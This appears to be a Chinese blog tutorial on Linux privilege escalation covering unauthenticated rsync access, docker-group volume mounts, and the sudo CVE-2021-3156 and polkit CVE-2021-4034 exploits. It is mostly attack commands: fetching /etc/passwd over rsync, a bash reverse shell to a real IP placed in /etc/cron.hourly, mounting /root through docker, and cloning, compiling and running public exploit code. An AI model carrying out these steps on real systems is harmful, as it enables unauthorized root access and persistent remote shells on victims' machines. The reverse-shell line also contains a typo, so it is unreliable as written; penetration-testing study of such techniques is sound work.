Linux提权:Docker组挂载 && Rsync未授权 && Sudo-CVE && Polkit-CVE

目录

Rsync未授权访问

docker组挂载

Sudo-CVE漏洞

Polkit-CVE漏洞


这里的提权手法是需要有一个普通用户的权限,一般情况下取得的webshell权限可能不够

Rsync未授权访问

Rsync是linux下一款数据备份工具,默认开启873端口

https://vulhub.org/#/environments/rsync/common/
借助Linux默认计划任务调用/etc/cron.hourly,利用rsync连接覆盖

前提:没有账号密码验证 开放873端口

探针

复制代码
rsync rsync://ip:873/

出现下面这种情况就说明存在未授权

思路一:下载获取对方的敏感文件

到达对方的根目录

可以通过rsync下载敏感文件 /etc/passwd 到自己根目录

复制代码
rsync rsync://ip:873/src/etc/passwd ./

思路二:覆盖定时文件,定时反弹shell

Linux系统的定时任务一般在 /etc/crontab

可以本地构造一个反弹 shell 的定时任务 nc

复制代码
/bin/bash -i >& /dev/tcp/47.94.236.117/3333 0>&i

赋予执行权限

复制代码
chmod +x nc

上传文件覆盖定时任务目录下

复制代码
rsync -av nc rsync://ip:873/src/etc/cron.hourly

下载文件

复制代码
rsync -av rsync://47.94.236.117:873/src/etc/passwd ./

本地监听反弹 shell 即可

复制代码
nc -lvnp 3333

docker组挂载

条件:普通用户在docker组

原理:利用docker服务启动镜像挂载目录、从而来访问root目录、etc目录等敏感文件来进行权限提升。因为docker的运行本身就需要root权限。

漏洞复现:

常见一个普通用户,并放到docker组内

复制代码
useradd -d /home/test -m  test
passwd test
usermod -G docker test
newgrp docker

利用

发现对方主机上存在docker服务,敲docker相关命令,判断有么docker相关的服务

groups 用户名 查看当前用户是否在docker组内

从Docker上下载alpine镜像,使用参数 -it 进入 容器shell

复制代码
docker run -v /root:/mnt -it alpine

这样就可以实现非root用户访问敏感文件,在尝试进行提权

Sudo-CVE漏洞

漏洞探针:这是版本漏洞,在版本区间都会受到影响

sudo: 1.8.2 - 1.8.31 p2

sudo: 1.9.0 - 1.9.5 p1

执行命令,看是否报错

复制代码
sudoedit -s /

若不报错,提示sudio的usage信息;报错:

利用:下载EXP直接攻击

复制代码
// 下载EXP

git clone https://github.com/blasty/CVE-2021-3156.git
cd CVE-2021-3156

// 编译一下
make

// 给执行权限
chmod a+x sudo-hax-me-a-sandwich

// 执行脚本 1是选择模式
./sudo-hax-me-a-sandwich 1

Polkit-CVE漏洞

漏洞影响2009年5月至今的所有polkit版本

由于polkit是系统预装工具,所有存在polkit的linux系统均受影响

如:CentOS、Ubuntu、Debian、Redhat、Fedora、Gentoo、Mageia等

探针

复制代码
dpkg -l policykit-1

存在漏洞:

不存在漏洞

复制代码
git clone https://github.com/berdav/CVE-2021-4034.git
cd CVE-2021-4034/
make
./cve-2021-4034
相关推荐
帷幄庸者9 分钟前
CentOS 上配置 Docker 使用 NVIDIA GPU
linux·docker·centos
xbd_zc24 分钟前
【Linux Nano Vim快捷键大全】
linux·运维·vim
Mapleay42 分钟前
ubuntu 更新华为源
运维·服务器·ubuntu
有梦想的攻城狮1 小时前
mac本地docker镜像上传指定虚拟机
macos·docker·eureka
shane-u1 小时前
Dockerfile实战:从零构建自定义CentOS镜像
linux·运维·centos
XiaoCCCcCCccCcccC1 小时前
Linux 的 UDP 网络编程 -- 回显服务器,翻译服务器
linux·网络·udp
风暴智能1 小时前
获取相机图像(ROS2)
linux·机器人·无人机
中国lanwp1 小时前
使用Maven和Ant上传文件到Linux服务器
linux·服务器·maven
孙克旭_1 小时前
day016-系统负载压力测试-磁盘管理
linux·运维·压力测试
liuyunluoxiao2 小时前
进程间通信--共享内存【Linux操作系统】
linux